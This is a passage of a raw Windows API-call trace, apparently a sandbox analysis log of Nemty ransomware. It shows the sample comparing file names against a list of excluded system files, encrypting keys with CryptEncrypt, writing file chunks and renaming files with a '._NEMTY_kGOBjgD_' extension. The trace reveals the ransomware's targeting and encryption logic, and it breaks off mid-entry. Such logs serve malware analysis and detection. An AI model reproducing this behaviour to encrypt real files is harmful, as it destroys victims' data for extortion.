pszString="avanbDv5KM8s2dqGvDvZSS/1EV5CGwx4+k2oUxQcQHOpAwiL5wL1i8M99+SfyyDp\r\n8JCKuDvCvTZHr4fo7khUCBIoVusOyYJ+rBan10nV3R2aCNghwfca/V5e/X3V2JE5\r\ncGInM1YraL2WU8jS98HaJpYiaheSjLAqR/4812GZs9BEgoObIQBBhjLMpLiAdqsP\r\nk2B5rpWLk+gseWbEKogs2yyUAJ5a8d01AahxnwxP1ndFsoY6FCD1Plfycv+D3TRg\r\ngl/Am9oTGPEU+IGbonuAm2J41rU4Eo2wkbo7SHjW/RTxtxLR8HtbOF7SSJ7qadjs\r\n0e5/Tc02txIMP28OwXxKtw==\r\n", pcchString=0x653e91c) returned 1 [0116.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0116.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0116.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0116.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0116.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0116.796] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.796] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0116.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0116.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.797] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.854] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.854] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.863] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.873] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0116.904] CloseHandle (hObject=0xffffffff) returned 0 [0116.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0116.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0116.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0116.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340350 [0116.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403f8 [0116.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0116.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern.png._nemty_kgobjgd_")) returned 0 [0116.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0116.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0116.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0116.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0116.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0116.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0116.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0116.905] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a51afa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a51afa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287e74ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="modern_dot.png", cAlternateFileName="")) returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2=".") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="..") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="...") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="windows") returned -1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="$RECYCLE.BIN") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="rsa") returned -1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="NTDETECT.COM") returned -1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="ntldr") returned -1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="MSDOS.SYS") returned -1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="IO.SYS") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="boot.ini") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="boot.ini") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="AUTOEXEC.BAT") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="ntuser.dat") returned -1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="desktop.ini") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="CONFIG.SYS") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="RECYCLER") returned -1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="BOOTSECT.BAK") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="bootmgr") returned 1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="programdata") returned -1 [0116.905] lstrcmpiW (lpString1="modern_dot.png", lpString2="appdata") returned 1 [0116.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0116.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_dot.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_dot.png", lpUsedDefaultChar=0x0) returned 14 [0116.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0116.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_dot.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_dot.png", lpUsedDefaultChar=0x0) returned 14 [0116.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0116.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_dot.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_dot.png", lpUsedDefaultChar=0x0) returned 14 [0116.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0116.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_dot.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_dot.png", lpUsedDefaultChar=0x0) returned 14 [0116.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0116.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0116.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0116.906] Sleep (dwMilliseconds=0x5) [0116.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9562650, dwHighDateTime=0x1d561e7)) [0116.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9562650, dwHighDateTime=0x1d561e7)) [0116.920] GetLastError () returned 0x5 [0116.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0116.920] GetLastError () returned 0x5 [0116.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0116.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.920] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0116.920] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0116.920] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0116.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0116.920] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="agu4bAEwurMVYGoEBSXHqE7CHqym2S8SUZvTO94aeQDehVuQcyFNNuHXldfxiCBQ\r\niHDtyKbHkEKdLwup67JBs7o7M1DoYj989ha3Ttq6kLiqszv9QEm5hNz7R0CT7ggl\r\nAQKgdZIl8joYwNR90IJboBQp977hZNM2UhlvM6evryJB52VhtAgvwirxpHCoBEfE\r\nkZvasF1+vXBQxwAZv+AYSEijMWltMSPB2uCMFu89FpU9vR1fMSTZCXlzRDqY9/Fa\r\nhxx4kNy4adcgVcuyhZ5Ne4NXTpiqDIvWtfpmxG7S1AnB8JBESMBQsPUXORUzBEZx\r\n9SeUPbwj4+/9V2/DedqToQ==\r\n", pcchString=0x653e91c) returned 1 [0116.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0116.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0116.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0116.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0116.921] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.921] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0116.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0116.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.940] SetFilePointer (in: 